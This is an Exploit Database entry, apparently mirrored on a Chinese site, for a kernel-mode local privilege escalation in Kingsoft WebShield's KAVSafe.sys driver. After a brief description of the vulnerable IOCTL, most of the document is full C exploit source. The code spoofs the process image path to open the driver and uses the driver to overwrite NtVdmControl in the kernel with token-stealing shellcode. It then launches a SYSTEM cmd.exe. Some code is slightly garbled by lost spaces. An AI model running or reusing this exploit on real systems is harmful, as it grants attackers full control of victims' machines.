Kingsoft Webshield ‘KAVSafe.sys’ 2010.4.14.609 (2010.5.23) – Kernel Mode Privilege Escalation

Exploit Database
117 阅读

作者： Xuanyuan Smart

日期： 2010-05-23
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/12710/

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Kingsoft WebShield KAVSafe.sys <= 2010.4.14.609(2010.5.23) Kernel Mode Local Privilege Escalation Vulnerability

VULNERABLE PRODUCTS

Kingsoft WebShield <= 3.5.1.2 (2010.5.23)

Signature Date: 2010-5-23 2:33:54

And

KAVSafe.sys <= 2010.4.14.609

Signature Date：2010-4-14 13:42:26

DETAILS:

Kavsafe.sys create a device called \Device\KAVSafe , and handles DeviceIoControl request IoControlCode = 0x830020d4 , which can overwrite arbitrary kernel module data

// EXPLOIT CODE:

#define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED ,FILE_ANY_ACCESS)

typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)(

HANDLE ProcessHandle,

DWORD ProcessInformationClass,

PVOID ProcessInformation,

ULONG ProcessInformationLength,

PULONG ReturnLength

);

typedef struct _STRING {

USHORT Length;

USHORT MaximumLength;

PCHAR Buffer;

} STRING;

typedef STRING *PSTRING;

typedef struct _RTL_DRIVE_LETTER_CURDIR {

USHORT Flags;

USHORT Length;

ULONG TimeStamp;

STRING DosPath;

} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;

typedef struct _UNICODE_STRING {

USHORT Length;

USHORT MaximumLength;

PWSTRBuffer;

} UNICODE_STRING;

typedef UNICODE_STRING *PUNICODE_STRING;

typedef const UNICODE_STRING *PCUNICODE_STRING;

#define RTL_MAX_DRIVE_LETTERS 32

#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001

typedef struct _CURDIR {

UNICODE_STRING DosPath;

HANDLE Handle;

} CURDIR, *PCURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS {

ULONG MaximumLength;

ULONG Length;

ULONG Flags;

ULONG DebugFlags;

HANDLE ConsoleHandle;

ULONGConsoleFlags;

HANDLE StandardInput;

HANDLE StandardOutput;

HANDLE StandardError;

CURDIR CurrentDirectory;// ProcessParameters

UNICODE_STRING DllPath; // ProcessParameters

UNICODE_STRING ImagePathName; // ProcessParameters

UNICODE_STRING CommandLine; // ProcessParameters

PVOID Environment;// NtAllocateVirtualMemory

ULONG StartingX;

ULONG StartingY;

ULONG CountX;

ULONG CountY;

ULONG CountCharsX;

ULONG CountCharsY;

ULONG FillAttribute;

ULONG WindowFlags;

ULONG ShowWindowFlags;

UNICODE_STRING WindowTitle; // ProcessParameters

UNICODE_STRING DesktopInfo; // ProcessParameters

UNICODE_STRING ShellInfo; // ProcessParameters

UNICODE_STRING RuntimeData; // ProcessParameters

RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];

} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {

BOOLEAN InheritedAddressSpace;// These four fields cannot change unless the

BOOLEAN ReadImageFileExecOptions; //

BOOLEAN BeingDebugged;//

BOOLEAN SpareBool;//

HANDLE Mutant;// INITIAL_PEB structure is also updated.

PVOID ImageBaseAddress;

PVOID Ldr;

struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;

} PEB, *PPEB;

typedef LONG KPRIORITY;

typedef struct _PROCESS_BASIC_INFORMATION {

LONG ExitStatus;

PVOID PebBaseAddress;

ULONG_PTR AffinityMask;

KPRIORITY BasePriority;

ULONG_PTR UniqueProcessId;

ULONG_PTR InheritedFromUniqueProcessId;

} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;

typedef struct {

ULONG Unknown1;

ULONG Unknown2;

PVOID Base;

ULONG Size;

ULONG Flags;

USHORTIndex;

USHORTNameLength;

USHORTLoadCount;

USHORTPathLength;

CHARImageName[256];

} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {

ULONG Count;

SYSTEM_MODULE_INFORMATION_ENTRY Module[1];

} X_SYSTEM_MODULE_INFORMATION, *PX_SYSTEM_MODULE_INFORMATION;

typedef LONG (WINAPI *PNT_QUERY_SYSTEM_INFORMATION) (

LONG SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

);

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )

typedef LONG (WINAPI *PNT_VDM_CONTROL) (

ULONG Service,

PVOID ServiceData

);

VOID __declspec(naked) R0ShellCodeXP()

{

__asm

{

mov eax,0xffdff124

mov eax,[eax]

mov esi ,dword ptr[eax+0x220]

mov eax,esi

searchxp:

mov eax,dword ptr[eax+0x88]

sub eax,0x88

mov edx,dword ptr[eax+0x84]

cmp edx,4

jnz searchxp

mov eax,dword ptr[eax+0xc8]

mov dword ptr[esi + 0xc8] , eax

ret 8

}

VOID NopNop()

{

printf("nop!\n");

}

#include "malloc.h"

int main(int argc, char* argv[])

{

printf("KSWebShield KAVSafe.sys <= 2010,04,14,609\n"

"Kernel Mode Privilege Escalation Vulnerability Proof-of-Concept\n"

"2010-5-23\n"

"By Lincoin \n\nPress Enter");

HKEY hkey ;

WCHAR InstallPath[MAX_PATH];

DWORD datatype ;

DWORD datasize = MAX_PATH * sizeof(WCHAR);

ULONG oldlen ;

PVOID pOldBufferData = NULL ;

if (RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWARE\\Kingsoft\\KSWSVC", &hkey) == ERROR_SUCCESS)

{

if (RegQueryValueExW(hkey , L"ProgramPath" , NULL , &datatype , (LPBYTE)InstallPath , &datasize) != ERROR_SUCCESS)

{

RegCloseKey(hkey);

printf("KSWebShield not installed\n");

getchar();

return 0 ;

}

RegCloseKey(hkey);

}

else

{

printf("KSWebShield not installed\n");

getchar();

return 0 ;

}

wcscat(InstallPath , L"\\kavinst.exe");

PROCESS_BASIC_INFORMATION pbi ;

PNT_QUERY_INFORMATION_PROCESS pNtQueryInformationProcess ;

pNtQueryInformationProcess = (PNT_QUERY_INFORMATION_PROCESS)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryInformationProcess");

pNtQueryInformationProcess(NtCurrentProcess() , 0 , &pbi , sizeof(pbi) , NULL);

PPEB peb ;

peb = (PPEB)pbi.PebBaseAddress;

oldlen = peb->ProcessParameters->ImagePathName.Length;

peb->ProcessParameters->ImagePathName.Length = wcslen(InstallPath) * sizeof(WCHAR);

pOldBufferData = malloc(peb->ProcessParameters->ImagePathName.Length);

RtlCopyMemory(pOldBufferData,peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length);

RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , InstallPath ,peb->ProcessParameters->ImagePathName.Length );

HANDLE hdev = CreateFile("\\\\.\\KAVSafe" ,

FILE_READ_ATTRIBUTES ,

FILE_SHARE_READ ,

OPEN_EXISTING ,

0);

if (hdev==INVALID_HANDLE_VALUE)

{

printf("cannot open device %u\n", GetLastError());

getchar();

return 0 ;

}

RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , pOldBufferData,peb->ProcessParameters->ImagePathName.Length);

peb->ProcessParameters->ImagePathName.Length = (USHORT)oldlen ;

PNT_QUERY_SYSTEM_INFORMATION pNtQuerySystemInformation;

pNtQuerySystemInformation = (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQuerySystemInformation");

X_SYSTEM_MODULE_INFORMATION sysmod ;

HMODULE KernelHandle ;

pNtQuerySystemInformation(0xb, &sysmod, sizeof(sysmod), NULL);

KernelHandle = LoadLibrary(strrchr(sysmod.Module[0].ImageName, '\\') + 1);

if (KernelHandle == 0 )

{

printf("cannot load ntoskrnl!\n");

getchar();

return 0 ;

}

PVOID pNtVdmControl = GetProcAddress(KernelHandle , "NtVdmControl");

if (pNtVdmControl == 0 )

{

printf("cannot find NtVdmControl!\n");

getchar();

return 0 ;

}

pNtVdmControl = (PVOID)((ULONG)pNtVdmControl - (ULONG)KernelHandle);

printf("NtVdmControl = %08x" , pNtVdmControl );

getchar();

ULONG ShellCodeSize = (ULONG)NopNop - (ULONG)R0ShellCodeXP;

ULONG pShellCode = (ULONG)R0ShellCodeXP;

PVOID Data = malloc(0x48 + ShellCodeSize);

CopyMemory((PVOID)((ULONG)Data + 0x48) , R0ShellCodeXP , ShellCodeSize);

CHAR ModuleName[68]= "ntoskrnl.exe" ;

RtlCopyMemory( Data , ModuleName , sizeof(ModuleName));

*(ULONG*)((ULONG)Data + 64) = (ULONG)pNtVdmControl;

*(ULONG*)((ULONG)Data + 68) = ShellCodeSize ;

ULONG btr ;

if (!DeviceIoControl(hdev ,

IOCTL_HOTPATCH_KERNEL_MODULE ,

Data ,

0x48 + ShellCodeSize ,

NULL ,

&btr , 0

))

{

printf("cannot device io control!%u\n" , GetLastError());

getchar();

return 0;

}

CloseHandle(hdev);

PNT_VDM_CONTROL pR3NtVdmControl = (PNT_VDM_CONTROL)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl");

pR3NtVdmControl(0,0);

WinExec("cmd.exe" , SW_SHOW);

printf("OK!\n ");

getchar();

return 0;

}